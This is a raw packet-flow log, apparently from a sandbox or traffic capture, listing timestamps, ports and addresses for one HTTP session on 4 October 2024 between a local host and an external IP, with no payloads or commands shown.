Oct 4, 2024 09:52:42.489974976 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490010023 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490014076 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490042925 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490047932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490082026 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490098953 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490134001 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490135908 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490174055 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490278959 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490320921 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490518093 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490564108 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490566969 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490598917 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490609884 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490631104 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490633011 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490664005 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490668058 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490695953 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.490700006 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.490731955 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491245985 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491293907 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491295099 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491327047 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491332054 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491358995 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491363049 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491409063 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491414070 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491446018 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.491451979 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.491486073 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492199898 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492233038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492247105 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492265940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492268085 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492296934 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492304087 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492328882 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492335081 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492362022 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.492364883 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.492397070 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493046999 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493094921 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493159056 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493191004 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493200064 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493223906 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493228912 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493254900 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493259907 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493288040 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.493292093 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493324995 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.493995905 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.494043112 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727459908 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727485895 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727502108 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727588892 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727593899 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727608919 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727623940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727648020 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727648973 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727663040 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727663040 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727678061 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727685928 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727694035 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727701902 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727710962 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727715969 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727725983 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727737904 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727741003 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727749109 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727756977 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727761984 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727771044 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727788925 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.727793932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727813959 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.727833986 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728099108 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728113890 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728127956 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728141069 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728142023 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728153944 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728157043 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728164911 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728172064 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728182077 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728187084 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728193998 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728202105 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728209019 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728218079 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728219986 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728230953 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728234053 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728245974 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728254080 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728260994 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728265047 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728276014 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728276968 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728288889 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728290081 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728305101 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728310108 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728318930 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728321075 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728333950 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728341103 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728348970 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728352070 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728360891 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728364944 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728384018 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728394985 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728804111 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728821039 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728836060 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728844881 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728852034 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728854895 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728868961 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728871107 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728880882 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728883982 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728902102 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728908062 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728912115 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728923082 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728938103 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728941917 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728951931 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728960991 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728966951 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728975058 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728982925 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.728990078 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.728998899 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729002953 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729012966 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729013920 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729027987 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729027987 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729043007 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729052067 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729058027 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729063034 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729070902 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.729074001 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729087114 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.729108095 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733160019 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733196020 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733211994 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733222961 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733227968 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733233929 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733253002 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733262062 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733365059 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733380079 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733395100 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733403921 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733408928 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733424902 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733426094 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733442068 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733445883 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733457088 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733467102 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733473063 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.733478069 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733490944 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.733505011 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734230042 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734252930 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734271049 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734277010 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734286070 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734287024 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734298944 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734302998 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734322071 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734333038 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734477997 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734493017 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734508038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734515905 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734529972 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734543085 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734671116 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734685898 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734699965 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734714031 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734714985 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734736919 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734755039 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.734790087 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.734826088 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.735378027 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.735415936 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.735430956 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.735430956 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.735455036 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.735466957 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736136913 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736154079 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736169100 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736183882 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736186981 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736196041 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736212969 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736243963 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736259937 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736274004 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736284018 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736289978 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736305952 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736325026 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736644030 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736660004 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736675024 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736689091 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736699104 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736711025 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736712933 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736728907 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736731052 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736745119 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.736751080 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736763954 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.736778021 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737086058 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737132072 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737586021 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737601042 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737616062 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737633944 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737643003 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737649918 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737658978 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737664938 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737679958 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737685919 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737694979 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.737695932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737706900 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.737726927 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738090992 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738132954 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738420963 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738467932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738471985 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738487959 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738506079 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738519907 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738571882 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738588095 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738600969 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738610983 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738615990 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738625050 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738636971 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738650084 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.738663912 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.738703012 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739283085 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739331961 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739356041 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739372015 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739407063 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739407063 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739435911 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739450932 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739465952 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739474058 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739483118 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739486933 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739506960 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739516973 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.739617109 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.739659071 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740294933 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740310907 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740329981 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740344048 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740344048 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740360022 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740370989 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740380049 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740703106 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740720034 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740746975 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740757942 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740758896 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740773916 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740788937 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740793943 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740803957 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740804911 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.740816116 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.740845919 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.768923044 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.768944025 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.768959999 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.768974066 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.768987894 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769001961 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769006014 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769016981 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769027948 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769032955 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769038916 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769064903 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769208908 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769223928 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769237995 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769248009 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769252062 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769267082 CEST	80	57015	147.45.44.104	192.168.2.4
